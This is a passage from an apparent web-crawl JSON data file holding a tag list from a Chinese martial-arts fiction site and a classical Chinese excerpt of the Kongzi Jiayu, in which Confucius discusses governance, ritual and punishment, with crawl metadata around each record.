飛鶯飛鷹 神鵰俠侶 劍罡同流 羅漢伏虎拳 康敏 華陀針 合淝之戰 浣花洗劍錄 胡斐 虛竹 慕容博 曹睿 白骨爪 謝遜 慕容復 蕭十一郎 桃花島 大圓滿杖法 呂蒙 沉沙劍法 萬物波動心法 柳絮劍法 天地明環 金錢幫 夷陵之戰 折花百式 定世鞭 少林三渡 一扇十八搖","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/www.herostory.tw\/alltags","date":"2021-04-10T22:49:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038059348.9\/warc\/CC-MAIN-20210410210053-20210411000053-00520.warc.gz","language":"lzh","language_score":0.5900578499,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5900578498840332, \"nan_Hani_score\": 0.25269436836242676, \"cmn_Hani_score\": 0.12175004929304123, \"yue_Hani_score\": 0.03296063840389252}","num_words":825,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.593,"perplexity_score":500.0,"cluster_detection":1} +{"text":"孔子家语\n群书治要卷十\n始 诛\n孔子为鲁大司寇。朝政七日而诛乱法大夫少正卯。戮之于两观之下。两观。阙也。尸于朝三日。子贡进曰。夫少正卯。鲁之闻人也。今夫子为政而始诛之。或者为失之乎。孔子曰。天下有大恶者五。而盗窃不与焉。一曰心逆而崄。二曰行僻而坚。三曰言伪而辨。四曰记丑而博。丑。谓非义。五曰顺非而泽。此五者。有一于人。则不免于君子之诛。而少正卯皆兼有之。其居处足以撮徒成党。撮。聚也。其谈说足以饰袤(袤旧作褒。改之)荧众。其强御足以反是独立。此乃人之奸雄也。不可以不除。\n孔子为鲁大司寇。有父子讼者。夫子同狴执之。狴。狱牢也。三月不别。其父请止。夫子赦焉。季孙闻之不悦曰。司寇欺余。曩告余曰。为国家者必先以孝。今戮一不孝以教民孝。不亦可乎?而又赦之。何哉?孔子喟然叹曰。呜呼。上失其道。而杀其下。非理也。不教以孝而听其狱。是杀不辜也。三军大败。不可斩也。狱犴不治。不可刑也。何者?上教之不行。罪不在民故也。夫慢令谨诛。贼也。征敛无时。暴也。不诫责成。虐也。政无此三者。然后刑可即也。既陈道德以先服之。而犹不可。则尚贤以劝之。又不可。则废不能以惮之。(则废至惮之七字。作即废之又不可而后以威惮之十三字)若是。百姓正矣。其有邪民不从化者。然后待之以刑。则民咸知罪矣。是以威厉而不诫(诫作试)。刑措而不用也。今世不然。乱其教。烦其刑。使民迷惑而陷罪焉。又从而制 之。故刑弥繁而盗不胜也。世俗之陵迟久矣。虽有刑法。民能勿逾乎。\n王 言\n孔子闲居。谓曾子曰。参。汝可语明王之道与。居。吾语汝。夫道者。所以明德也。德者。所以尊道也。是故非德。道不尊也。非道。德不明也。虽有国之良马。不教服乘。不可以取道里。虽有博地众民。不以其道(旧无其道之其。补之)治之。不可以致霸王。是故昔者明王内修七教。外行三至。七教修而可以守。三至行而可以征。明王之道。其守也。则必折冲千里之外。其征也。还师衽席之上。故曰内修七教而上不劳。外行三至而财不费。此之谓明王之道也。曾子曰。不劳不费之为明王。可得而闻乎。孔子曰。昔者。帝舜左禹。右皋陶。不下席而天下治。夫如此。何上之劳乎。若乃十一而税。用民之力。岁不过三日。入山泽以其时而无征。此则生财之路也。而明王节之。何财之费乎。\n曾子曰。敢问何谓七教。孔子曰。上敬老则下益孝。上尊齿则下益悌。上乐施则下益宽。上亲贤则下择友。上好德则下无隐。上恶贪则下耻争。上廉让则下知节。此之谓七教也。七教者。治民之本也。政教定。则本正矣。凡上者民之表也。表正则何物不正。曾子曰。道则至矣。弟子不足以明之。孔子曰。参。汝以为姑止此乎。\n昔者。明王之治民也。有法必裂地而封之。分属而理之。然后贤民无所隐。暴民无所伏。使有司日省而时考之。进用贤良。退贬不肖(不肖下旧有然字。删之)则贤(贤下旧有良字。删之)者悦而不肖者惧。哀鳏寡。养孤独。恤贫穷。诱孝悌。选才能。此七者修。则四海之内无刑民矣。上之亲下也。如手足之于腹心。下之亲上也。如幼子之于慈母矣。上下相亲如此。故令则从。施则行。民怀其德。近者悦服。远者来附。政之致也。田猎罩弋。罩。掩网也。弋。缴射也。非以盈宫室也。征敛百姓。非以充府库也。惨怛以补不足。礼节以损有余。多信而寡貌。其礼可守。其言可覆。其迹可履。其于信也如四时。其博有万民也如饥而食。如渴而饮。民之信之如寒暑之必验也。故视远若迩。非道迩也。见明德也。是故兵革不动而威。用利不施而亲。此之谓明王之守。折冲乎千里之外者也。\n曾子曰。敢问何谓三至。孔子曰。至礼不让而天下治。至赏不费而天下之士悦。至乐无声而天下之民和。明王笃行三至。故天下之君可得而知也。天下之士可得而臣也。天下之民可得而用也。曾子曰。敢问此义何谓也。孔子曰。古者明王必尽知天下良士之名。既知其名。又知其实。既知其实。然后因天下之爵以尊之。此之谓至礼不让而天下治。因天下之禄以富天下之士。此之谓至赏不费而天下之士悦。如此则天下之明誉兴焉。此之谓至乐无声而天下之民和。故曰。所谓天下之至仁者。能合天下之至亲者也。所谓天下之至智者。能用天下之至和。所谓天下之至明者。能举天下之至贤。此三者咸通。然后可以征。是故仁者莫大于爱人。智者莫大于知贤。政者莫大于官能。有士之君。能修此三者。则四海之内供命而已矣。夫明王之所征。必道之所废者也。是故诛其君而改其政。吊其民而不夺其财。故曰。明王之征也。犹时雨之降也。至则民悦矣。是故行施弥博得亲弥众。此之谓还师衽席之上。言安而无忧也。\n大 婚\n孔子侍坐于哀公。公问曰。敢问人道谁为大。孔子对曰。夫人道政为大。夫政者。正也。君为正。则百姓从而正矣。君之所为。百姓之所从也。君之不为。百姓何从。公曰。敢问为政如之何。孔子对曰。夫妇别。父子亲。君臣信。三者正。则庶物从之矣。内以治宗庙之礼。足以配天地之神也。出以治直言之礼。足以立上下之敬也。夫妇正则出可以治政言礼矣。身正乃可以正人矣。物耻则足以振之。耻事不如礼。则足以振教之也。国耻则足以兴之。耻国不如。礼则足以兴起之。故为政先乎礼。礼其政之本与。孔子遂言曰。昔三代明王之必敬妻子也。盖有道焉。妻也者。亲之主也。子也者。亲之后也。敢不敬与。是故君子无不敬也。敬也者。敬身为大。身也者。亲之支也。敢不敬与。不敬其身。是伤其亲。伤其亲。是伤其本也。伤其本。则支从而亡。三者。百姓之象也。言百姓之所法而行。身以及身。子以及子。妃以及妃。君修此三者。则大化忾于天下。忾。满也。\n公曰。敢问何谓敬身。孔子对曰。君子过言则民作辞。过动则民作则。言不过辞。动不过则。百姓恭敬以从命。若是。则可谓能敬其身。能敬其身。则能成其亲矣。\n公曰。何谓成亲。孔子对曰。君子者。乃人之成名也。百姓与名。谓之君子。则是成其亲为君而为其子也。孔子遂言曰。为政而不能爱人。则不能成其身。不能成其身。则不能安其土。不能安其土。则不能乐天。不能乐天道也。不能乐天。则不能成身。\n公曰。敢问何谓成身。孔子对曰。夫其行己不过于物。谓之成身。不过于物。合天道也。\n问 礼\n哀公问于孔子曰。大礼何如。子之言礼何其尊也。孔子曰。丘闻之。民之所以生者礼为大。非礼则无以节事天地之神焉。非礼则无以辨君臣上下长幼之位焉。非礼则无以别男女父子兄弟婚姻亲族疏数之交焉。是故君子此为之尊敬。然后以其所能教示百姓。卑其宫室。节其服御。车不雕玑。器不雕镂。食不二味。心不淫志。以与万民同利。古之明王之行礼也如此。\n公曰。今之君子胡莫之行也。孔子对曰。今之君子。好利无厌。淫行不倦。荒怠慢游。固民是尽。以遂其心。以怨其政(政下有以忤其众四字)以伐有道。求得当欲。不以其所。言苟求得当其情欲而已。虐杀刑诛。不以其理。夫昔之用民也由前。用上所言。今之用民也由后。用下所言。是即今之君子莫能为礼也。\n五 仪\n哀公问于孔子曰。寡人欲论鲁国之士与之为治。敢问如何取之。\n孔子曰。人有五仪。有庸人。有士人。有君子。有贤。有圣。审此五者。则治道毕矣。\n所谓庸人者。心不存慎终之规。口不吐训格之言。格。法也。不择贤以托其身。不力行以自定。见小暗大而不知所务。从物如流而不知所执。此则庸人也。\n所谓(旧脱所谓字。补之。)士人者。心有所定。计有所守。虽不能尽道术之本。必有率也。率。犹述也。虽不能备百善之美。必有处也。是故智不务多。务审其所知。言不务多。务审其所谓。所谓者。谓言之要也。行不务多。务审其所由。智既知之。言既得之。得其要也。行既由之。则若性命形骸之不可易也。富贵不足以益。贫贱不足以损。此则士人也。\n所谓君子者。言必忠信而心不怨。忍怨害也。仁义在身而色不伐。无伐善之色也。思虑通明而辞不专。笃行信道。自强不息。油然若将可越而终不可及者。此君子也。油然。不进之貌。越。过。\n所谓贤者。德不逾闲。闲。犹法也。行中规绳。言足法于天下而不伤于身。言满天下无口过也。道足化于百姓而不伤于本。本亦谓身。富则天下无宛财。宛。积也。施则天下不病贫。此贤者也。\n所谓圣者。德合天地。变通无方。穷万事之终始。协庶品之自然。敷其大道而遂成情性。明并日月。化行若神。下民不知其德。睹ꨚ者不识其邻ꨜ。此圣者也。邻。以喻畔界也。\n公曰。善哉。非子之贤。则寡人不得闻此言也。虽然。寡人生于深宫之中。长于妇人之手。未尝知哀。未尝知忧。未尝知劳。未尝知惧。未尝知危。恐不足以行五仪之教。若何。\n孔子曰。君入庙而右。登自阼阶。仰视榱桷。俯察机筵。其器皆存而不睹其人。君以此思哀。则哀可知矣。昧爽夙兴。正其衣冠。爽。明也。昧明。始明也。夙。早也。兴。起也。平旦视朝。虑其危难。一物失理。乱亡之端。君以此思忧。则忧可知矣。日出听政。至乎中昃。中。日中也。昃。日昳也。诸侯子孙往来为宾。行礼揖让。慎其威仪。君以此思劳。则劳可知矣。缅然长思。出乎四门。周章远望。睹亡国之墟。必将有数焉。言亡国故墟。非但一也。君以此思惧。则惧可知矣。夫君者舟也。民者水也。水所以载舟。亦所以覆舟。君以此思危。则危可知矣。既明此五者。而又少留意于五仪之事。则于政治乎何有失哉。\n哀公问于孔子曰。请问取人之法。孔子对曰。事任之官。言各当以其所能之事。任之于官也。无取捷捷。无取钳钳。钳。妄对不谨诚。无取啍啍。啍啍。多言也。捷捷。贪也。捷捷而不良。所以为贪。钳钳。乱也。啍啍。诞也。诞。欺诈也。故弓调而后求劲焉。马服而后求良焉。士必悫而后求智能焉。不悫而多能。譬之豺狼。不可迩也。迩。近也。言人无智能者。虽不悫信。不能为大恶也。不悫信而有智能者。然后乃可畏也。\n哀公问于孔子曰。夫国家之存亡祸福。信有天命。非唯人耶。\n孔子对曰。存亡祸福。皆在己而已。天灾地妖。弗能加也。昔者。殷王帝辛之世。帝辛。纣也。有雀生大鸟于城隅焉。帝辛介雀之德。介。助也。以雀之德为助也。不修国政。殷国以亡。此即以己逆天时。得福反为祸者也。又其先世殷(殷下有王字)太戊之时。道缺法邪。以致夭孽。桑谷生朝。七日大拱。太戊恐骇。侧身修行。三年之后。远方慕义。重译至者十有六国。此即以己逆天时。得祸转为福者也。故失灾地妖。所以儆人主也。寤梦征怪。所以儆人臣也。儆。戒也。灾妖不胜善政。梦怪不胜善行。能知此。至治之极也。明王达此也。\n致 思\n季羔为衞士师。士师。狱官。刖人之足。俄而衞有乱。季羔逃之。刖者守门焉。谓季羔曰。彼有缺。季羔曰。君子不逾。又曰。彼有窦。季羔曰。君子不隧。隧。从窦出。又曰。于此有室。季羔入焉。既而追者罢。季羔将去。谓刖者曰。吾不能亏主之法而亲刖子之足。今吾在难。此正子报怨之时。而子逃我。何故。刖者曰。断足。故我之罪也。无可奈何。曩者君治臣以法令。先人后臣。欲臣之免也。臣知之。狱决罪定。临当论刑。君愀然不乐。见于颜色。臣又知之。君岂私臣哉。天生君子。其道故然。此臣之所以悦(悦作脱)。君也。孔子闻之曰。善哉为吏。其用法一也。思仁恕则树德。加严暴则树怨。公以行。其子羔乎。\n子路为蒲宰。为水备。修沟渎。以民之烦苦也。人与一箪食。一壶浆。孔子止之。子路曰。由也以民多匮饿者。匮。乏也。是以与之箪食壶浆。而夫子使止之。是夫子止由之行仁也。孔子曰。尔以民为饿。何不白于君。发仓廪以给之。而私以尔食馈之。是汝明君之无惠也。速已则可。不已。则尔之见罪必矣。\n子贡问治民于孔子。孔子曰。懔懔焉如以腐索御捍马。懔懔焉。诫惧之貌。捍马。突马也。子贡曰。何其畏也。孔子曰。夫通达之属皆人也。以道导之。则吾畜也。不以道导之。则吾仇也。若之何其无畏也。\n三 恕\n孔子曰。君子有三恕。有君弗能事。有臣而求其使。非恕也。有亲弗能孝。有子而求其报。非恕也。有兄弗能敬。有弟而求其顺。非恕也。士能明于三恕之本。则可谓端身矣。端。正也。\n孔子观于鲁桓公之庙。有敧器焉。孔子问于守庙者。曰。此为何器。对曰。此盖为宥坐之器。孔子曰。吾闻宥坐之器。虚则敧。中则正。满则覆。明君以为诫。故置于坐侧也。顾谓弟子曰。试注水焉。水实之。中则正。满则覆。夫子喟然叹曰。呜呼。夫物恶有满而不覆者哉。子路进曰。敢问持满有道乎。子曰。聪明睿智。守之以愚。功被天下。守之以让。勇力振世。守之以怯。富有四海。守之以谦。此所谓损之又损之之道也。\n好 生\n哀公问于孔子曰。昔者舜冠何冠乎。孔子不对。公曰。寡人问于子。而子无言何也。孔子曰。以君之问不先其大者。故方思所以为对焉。公曰。其大何乎。孔子曰。舜之为君也。其政好生而恶杀。其任授贤而替不肖。德若天地之虚静。化若四时之变物。是以四海承风。畅于异类。异类。四方之夷狄也。凤翔麟至。鸟兽驯德。驯。顺也。无他。好生故也。君舍此道而冠冕是问。是以缓对。\n观 周\n孔子观于明堂。睹四方之墉。墉。墙。有尧。舜。桀。纣之象。而各有善恶之状。兴废之诫焉。又有周公相成王。抱之而负斧扆。南面以朝诸侯之图焉。孔子徘徊而望之。谓从者曰。此则周之所以盛也。夫明镜者所以察形。往古者所以知今。人主不务袭迹于其所以安存。而忽怠于(怠于下有共字)所以危亡。是犹未有以异于却步而欲求及前人也。岂非惑哉。\n孔子观周。遂入大祖后稷之庙。庙堂右阶之前。有金人焉。参缄其口而铭其背曰。古之慎言人也。戒之哉。无多言。多言多败。无多事。多事多患。安乐必诫。虽处安乐。必警诫也。无行所悔。所悔之事。不可复行。勿谓何伤。其祸将长。勿谓何害。其祸将大。勿谓不闻。神将伺人。焰焰不灭。炎炎若何。涓涓不壅。终为江河。緜緜不绝。或成网罗。緜緜微而不绝。则有成网罗者。豪末不扎。如豪之末。言微也。扎。拔也。将寻斧柯。寻。用。诚能慎之。福之根也。口是何伤。祸之门也。强梁者不得其死。好胜者必遇其敌。盗憎主人。民恶其上。君子知天下之不可上也。故下之。知众人之不可先也。故后之。温恭慎德。使人慕之。执雌持下。人莫逾之。人皆趣彼。我独守此。人皆惑惑。我独不徙。惑惑。东西转移之貌。内藏我智。不示人技。我虽尊高。人弗我害。唯能于此。天道无亲。常与善人。戒之哉。戒之哉。孔子既读斯文。顾谓弟子曰。小子志之。此言实而中。情而信。\n贤 君\n哀公问于孔子曰。当今之君。孰为最贤。孔子对曰。丘未之见也。抑有衞灵公乎。公曰。吾闻其闺门之内无别。而子次之贤。何也。孔子对曰。臣语其朝廷行事。不论其私家之际也。公曰。其事如何。孔子曰。灵公之弟曰公子渠牟。其智足以治千乘。其信足以守之。灵公爱而任之。又有士曰王林国者。见贤必进之。而退与分其禄。是以衞国无游放之士。灵公知而尊之。又有士曰庆足者。国有大事则必起而治之。国无事则退而容贤。言其所以退。欲以容贤于朝。灵公悦而敬之。又有大夫史鰌。以道去衞。而灵公郊舍三日。琴瑟不御。必待史鰌之入而后敢入。臣以此取之。虽次之贤。不亦可乎。\n子贡问孔子曰。今之人臣孰为贤乎。子曰。齐有鲍叔。郑有子皮。则贤者矣。子贡曰。齐无管仲。郑无子产乎。子曰。赐。汝徒知其一。未知其二也。汝闻用力为贤乎。进贤为贤乎。子贡曰。进贤贤哉。子曰。然。吾闻鲍叔达管仲。子皮达子产。未闻二子之达贤己之才者也。\n哀公问于孔子曰。寡人闻忘之甚者。徙而忘其妻。有诸。孔子对曰。此犹未甚者。甚者乃忘其身。公曰。可得闻乎。孔子曰。昔夏桀贵为天子。富有四海。忘其圣祖之道。坏其典法。绝其世祀。荒乎淫乐。沉湎于酒。佞臣谄谀。窥导其心。忠士钳口。逃罪不言。钳口。杜口。天下诛桀而有其国。此之谓忘其身之甚者也。\n子路问于孔子曰。贤君治国所先者何在。孔子曰。在于尊贤而贱不肖。子路曰。由闻晋中行氏尊贤而贱不肖矣。其亡何也。子曰。中行氏尊贤而弗能用。贱不肖而不能去。贤者知其不己用而怨之。不肖者知其必己贱而仇之。怨雠并存于国。邻敌构兵于郊。中行氏虽欲无亡。岂可得乎。\n哀公问政于孔子。孔子对曰。政之急者。莫大乎使民富且寿也。公曰。为之奈何。孔子曰。省力役。薄赋敛。则民富矣。敦礼教。远罪疾(疾作戾)。则民寿矣。公曰。寡人欲行夫子之言。恐吾国贫矣。孔子曰。诗不云乎。恺悌君子。民之父母。未有其子富而父母贫者也。\n衞灵公问孔子曰。有语寡人。为国家者。计之于庙堂之上。则政治矣。何如。孔子曰。其可也。爱人者则人爱之。恶人者则人恶之。知得之己者则知得之人。所谓不出环堵之室而知天下者。知反己之谓也。\n辨 政\n子贡为信阳宰。将行。孔子曰。勤之慎之。奉天之时。无夺无伐。无暴无盗。子贡曰。赐也。少而事君子。岂以盗为累哉。孔子曰。而未之详也。夫以贤代贤。是之谓夺。以不肖代贤。是之谓伐。缓令急诛。是之谓暴。取善自与。是之谓盗。盗非窃财之谓也。吾闻之。知为吏者奉法以利民。不知为吏者。枉法以侵民。此怨所由生也。匿人之善。斯谓蔽贤。扬人之恶。斯谓小人。内不相训而外相谤。非亲睦也。言人之善。若己有之。言人之恶。若己受之。故君子无所不慎焉。\n六 本\n孔子曰。行已有六本焉。然后为君子。立身有义矣。而孝为本。丧纪有礼矣。而哀为本。战阵有列矣。而勇为本。治政有理矣。而农为本。居国有道矣。而嗣为本。继嗣不立。则乱之源也。生财有时矣。而力为本。置本不固。无务丰末。亲戚不悦。无务外交。事不终始。无务多业。反本修迹。君子之道也。\n孔子曰。药酒苦于口而利于病。忠言逆于耳而利于行。汤。武以谔谔而昌。桀。纣以唯唯而亡。君无争臣。父无争子。兄无争弟。士无争友。其无(其无作无其)过者未之有也。故曰。君失之。臣得之。父失之。子得之。兄失之。弟得之。士失之。友得之。是以国无危亡之兆。家无悖乱之恶。父子兄弟无失。而交友无绝。\n孔子读易至于损益。喟然而叹。子夏避席问曰。夫子何叹焉。孔子曰。夫自损者必有益之。自益者必有决之。吾是以叹也。子夏曰。然则学者不可以益乎。子曰。非道益之谓也。道弥益而身弥损。夫学者。损其自多。以虚受之。天道成而必变。凡持满而能久者。未尝有也。故曰。自贤者。则天下之善言不得闻其耳矣。\n孔子曰。以富贵而下人。何人不与。以富贵而爱人。何人不亲。发言不逆。可谓知言矣。\n孔子曰。吾死之后。则商也日益。赐也日损。曾子问曰。何谓也。子曰。商也好与贤已者处。赐也好悦不如己者。不知其子视其父。不知其人视其友。不知其君视其所使。故曰。与善人居。如入芝兰之室。久而不闻其香。即与之化矣。与不善人居。如入鲍鱼之肆。久而不闻其臭。亦与之化矣。是以君子必慎其所与者焉。\n哀公问政\n哀公问政于孔子。孔子对曰。文武之政。布在方策。其人存。则其政举。其人亡。则其政息。故为政在于得人。取人以身。修身以道。修道以仁。仁者人也。亲亲为大。义者宜也。尊贤为大。亲亲之杀。尊贤之等。礼所生也。是以君子不可以不修身。思修身。不可以不事亲。思事亲。不可以不知人。思知人。不可以不知天。天下之达道有五。其所以行之者三。曰君臣也。父子也。夫妇也。昆弟也。朋友之交也。五者。天下之达道也。智。仁。勇。三者。天下之达德也。所以行之者一也。或生而知之。或学而知之。或困而知之。及其知之一也。或安而行之。或利而行之。或勉强而行之。及其成功一也。好学近于智。力行近于仁。知耻近于勇。知斯三者。则知所以修身。知所以修身。则知所以治人。知所以治人。则能成天下国家矣。\n公曰。政其尽此而已乎。孔子曰。凡为天下国家者。有九经焉。曰修身也。尊贤也。亲亲也。敬大臣也。体群臣也。子庶人也。来百工也。柔远人也。怀诸侯也。修身则道立。尊贤则不惑。亲亲则诸父昆弟不怨。敬大臣。则不眩。体群臣。则士之报礼重。子庶民。则百姓劝。来百工。则财用足。柔远人。则四方归之。怀诸侯。则天下畏之。公曰。为之奈何。孔子曰。齐庄盛服。非礼不动。所以修身也。去谗远色。贱货而贵德。所以尊贤也。爵其能。重其禄。同其好恶。所以笃亲亲也。官盛任使。所以敬大臣也。盛其官任而使之也。忠信重禄。所以劝士也。忠信者与之重禄也。时使薄敛。所以子百姓也。日省月考。既禀称事。所以来百工也。既禀食之。各当其职事也。送往迎来。嘉善而矜不能。所以绥远人也。绥。安也。继绝世。举废邦。朝聘以时。厚往而薄来。所以怀诸侯也。治天下国家有九经焉。其所以行之者一也。凡事豫则立。不豫则废。言前定则不跲。跲。踬。事前定。则不困。行前定。则不疚。疚。病。道前定。则不穷。公曰。子之教寡人备矣。敢问行之所始。孔子曰。立爱自亲始。教民睦也。立敬自长始。教民顺也。教以慈睦而民贵有亲。教以敬长而民贵用命。民既孝于亲。又顺以听命。措诸天下。无所不行。\n颜 回\n鲁定公问于颜回曰。子亦闻东冶毕之善御乎。对曰。善则善矣。虽然。其马将必逸。公不悦。其后三日。东冶毕之马逸。公闻之。促驾召颜回。颜回至。公曰。前日寡人问吾子以东冶毕之善御。而子曰其马将逸。不识吾子奚以知之。颜回对曰。以政知之而已矣。昔者。帝舜巧于使民。而造父巧于使马。舜不穷其民力。造父不穷其马力。是以舜无逸民。造父无逸马。今东冶毕之御也。历崄致远。马力尽矣。然而其心犹求马不已。臣以此知之。公曰。善哉。吾子之言。其义大矣。愿少进乎。颜回曰。臣闻之。鸟穷则噣。兽穷则攫。人穷则诈。马穷则逸。自古及今。未有穷其下而能无危者也。公悦。\n困 誓\n衞蘧伯玉贤而灵公不用。弥子瑕不肖而反任之。史鱼骤谏。公不从。史鱼病将卒。命其子曰。吾在公朝。不能进蘧伯玉退弥子瑕。是吾为臣不能正君也。生而不能正君。死不可以成礼矣。吾死。汝置尸牖下。于我毕矣。毕犹足也。礼殡于客位。其子从之。灵公吊焉。怪而问之。其子以其父言告。公公愕然失容。曰。是寡人之过也。于是命之殡于客位。进蘧伯玉而用之。退弥子瑕而远之。孔子闻之曰。古之烈谏者。死则已矣。未有若史鱼死而尸谏。忠感其君者也。可不谓直乎。\n执 辔\n闵子骞为费宰。问政于孔子。孔子曰。以德以法。夫德法者。御民之具。犹御马之有衔勒也。君者。人也。吏者。辔也。刑者。策也。人君之政。执其辔策而已矣。子骞曰。敢问古之为政。孔子曰。古者。天子以内史为左右手。以德法为衔勒。以百官为辔。以刑罚为策。以万民为马。故御天下数百年而不失。善御马者。正衔勒。齐辔策。均马力。和马心。故口无声而马应辔。策不举而极千里。极。至也。善御民者。一其德法。正其百官。均齐民力。和安民心。故令不再而民顺从。刑不用而天下化治。是以天地德之。天地以为有德。而兆民怀之。怀。归。不能御民者。弃其德法。专用刑辟。譬犹御马。弃其衔勒而专用捶策。其不可制 也必矣。夫无衔勒而用捶策。马必伤。车必败。无德法而用刑辟。民必流。国必亡。凡治国而无德法。则民无所法修。民无所法修。则迷惑失道。古之御天下者。以六官总治焉。六官在手以为辔。故曰。御四马者执六辔。御天下者正六官。是故善御马者。正身以总辔。均马力。齐马心。回旋曲折。唯其所之。故可以取长道。可以趣急疾。此圣人所以御天地与人事之法(旧无法字。补之)则也。天子以内史为左右手。以六官为辔。己(己下旧有而字。删之)与三公执六官。均五教。齐五法。仁义礼智信之法也。故亦唯其所引。无不如志。\n五 刑\n冉有问于孔子曰。先王制 法。使刑不上于大夫。礼不下于庶人。然则大夫之犯罪。不可以加刑。庶人之行事。不可以治礼乎。孔子曰。不然。凡治君子以礼义御其心。所以厉之以廉耻之节也。故古之大夫。其有坐不廉污秽而退放之者。则曰簠簋不饰。饰。整齐。有坐淫乱男女无别者。则曰帷薄不修。有坐罔上不忠者。则曰臣节未着。有坐疲软不胜任者。则曰下官不职。言其下官不务(务作称)其职。不斥其身也。有坐干国之纪者。则曰行事不请。言不请而擅行也。此五者。大夫既自定有罪名矣。而犹不忍斥然正以呼之也。既而为之讳。所以愧耻之。是故大夫之罪。其在五刑之域者。谴发则白冠牦缨。盘水加剑。造于阙而自请罪。君不使有司执缚牵掣而加之也。其有大罪者。闻命则北面再拜。跪而自裁。君不使人捽引而刑杀之也。曰。子大夫自取之耳。吾遇子有礼矣。是以刑不上大夫。而大夫亦不失其罪者。教使然也。凡所谓礼不下庶人者。以庶人遽其事而不能充礼。故不责之以备礼也。\n刑 政\n仲弓问于孔子曰。雍闻至刑无所用政。至政无所用刑。至刑无所用政。桀纣之世是也。至政无所用刑。成康之世是也。信乎。孔子曰。圣人之治化也。必刑政相参焉。太上以德教民。而以礼齐之。其次以政导民。以刑禁之。化之弗变。导之弗从。伤义败俗。于是乎用刑矣。\n仲弓曰。古之听讼。可得闻乎。孔子曰。凡听五刑之讼。必原父子之亲。立君臣之义。以权之。意论轻重之序。慎测浅深之量。以别之。悉其聪明。致其忠爱。以尽之。大司寇正刑明辟以察狱。狱必三讯焉。一曰讯群臣。二曰讯群吏。三曰讯万民也。有指无简则不听。简。诚也。有其意。无其诚者。不论以为罪。附从轻。赦从重。附人之罪。以轻为比。赦人之罪。以重为比。疑狱。则泛与众共之。众疑。赦之。故爵人必于朝。与众共之也。刑人必于市。与众弃之也。古者公家不畜刑人。大夫不养也。士遇之涂。弗与之言也。屏诸四方。唯其所之。弗及以政。弗欲生之故也。\n仲弓曰。听狱。狱之成。成何官。孔子曰。狱成于吏。吏以狱之成告于正。吏。狱官吏也。正。狱官长。正既听之。乃告于大司寇。大司寇听之。乃奏于王。王命三公卿士参听棘木之下。外朝之法。左九棘。孤卿大夫位焉。右九棘。公侯伯子男位焉。面三槐。三公位焉。然后乃以狱之成报于王。王以三宥之法听之。君王尚宽。罪虽已定。犹三宥之。不可得轻。然后刑之也。而后制 刑焉。所以重之也。\n仲弓曰。古之禁何禁。孔子曰。析言破律。巧卖法令者也。乱名改作。变易官与物名。执左道以乱政者杀。左道。邪道。作淫声。淫逸惑乱之声。造异服。非人所常见。设奇伎奇器以荡上心者杀。怪异之伎。可以眩曜人心之器。荡。动也。行伪而坚。行诈伪而坚守。言伪而辨。学非而博。顺非而泽。顺其非而滑泽之。以惑众者杀。假于鬼神时日卜筮以疑民者杀。此四诛者。不待时不以听。不听于棘木之下也。\n问 玉\n子张问圣人之所以教。孔子曰。师乎。吾语汝。圣人明于礼乐。举而措之而已。子张又问。孔子曰。师。尔以为必布几筵。揖让升降。酌献酬酢。然后谓之礼乎。尔以为必行缀兆。执羽籥。作钟鼓。然后谓之乐乎。言而可履。礼也。行而可乐。乐也。圣人力此二者。以恭已南面。是故天下太平。万国顺服。百官承事。上下有礼也。夫礼之所兴。众之所以治也。礼之所废。众之所以乱也。昔者。明王圣主之辨贵贱长幼。正男女外内。序亲疏远迩。而莫敢相逾越者。皆由此涂出也。\n屈 节\n宓子贱为单父宰。恐鲁君听谗人。使己不得行其政。于是辞行也。故请君之近史二人与之具至官。宓子戒其邑吏。令二史书。方书。掣其肘。书不善。则从而怒之。二史患焉。辞请归。鲁君以问孔子。孔子曰。宓不齐。君子也。意者其以此谏乎。公寤。大息而叹曰。此寡人之不肖也。寡人乱宓子之政而责其善者数矣。微二史则寡人无以知过。微夫子则寡人无由寤。遽使告宓子曰。自今日以往。单父非吾有也。从子之制 。有便于民者。子决为之。五年一言其要。宓子遂得行政于单父焉。躬敦厚。明亲亲。尚笃敬。施至仁。加恳诚。致忠信。百姓化之。\n正 论\n定(定作哀)公问于孔子曰。大夫皆劝寡人使隆敬于高年。可乎。孔子对曰。君之及此言也。将天下实赖之。岂惟鲁而已哉。公曰。何也。孔子曰。昔者。有虞氏贵德而上齿。夏后氏贵爵而上齿。殷人贵富而上齿。富。谓世禄之家。周人贵亲而上齿。虞。夏。殷。周。天下之盛王也。未有遗年者焉。年之贵于天下久矣。次于事亲。是故朝廷同爵则上齿。七十杖于朝。君问则席。君欲问之。则为之设席。八十不仕朝。君问则就之。而悌达于朝廷矣。其行也。肩而不并。不敢与长者并肩也。不错则随。错。鴈行也。父党随行。兄党鴈行。见老者。则车从避。见老者在道。车与步皆避之也。斑白者不以其任行于路。任。担也。少者代之也。而悌达于道路矣。居鄕以齿。而老穷不匮。强不犯弱。众不暴寡。而悌达于州巷矣。古之道。五十不为甸役。五十始老。不从力役之事。不及山猎之徒也。颁禽隆诸长者。而悌达于搜狩矣。军旅什伍。同爵则上齿。而悌达于军旅矣。夫圣王之教孝悌。发诸朝廷。行于道路。至于州巷。放于搜狩。修于军旅。则众同以义死之而弗敢犯也。公曰。善。\n哀公问于孔子曰。寡人闻之。东益不祥。东益。东益宅也。信有之乎。孔子曰。不祥有五。而东益不与焉。夫损人而自益。身之不祥也。弃老而取幼。家之不祥也。释贤而用不肖。国之不祥也。老者不教。幼者不学。俗之不祥也。圣人伏匿。愚者擅权。天下不祥也。故不祥有五。而东益不与焉。\n子夏问\n子夏问于孔子曰。记云。周公相成王。教之以世子之礼。有诸。孔子曰。昔者。成王嗣立。幼。未能莅祚。周公摄政而治。抗世子之法于伯禽。欲成王之知父子君臣之道。所以善成王也。夫知为人子者。然后可以为人父。知为人臣者。然后可以为人君。知事人者。然后可以使人。是故抗世子法于伯禽。使之与成王居。使成王知父子君臣长幼之义焉。","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/lingdaoli.com\/docs\/zengbu-kongzijiayu-zhiyao\/","date":"2021-07-26T02:05:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046151972.40\/warc\/CC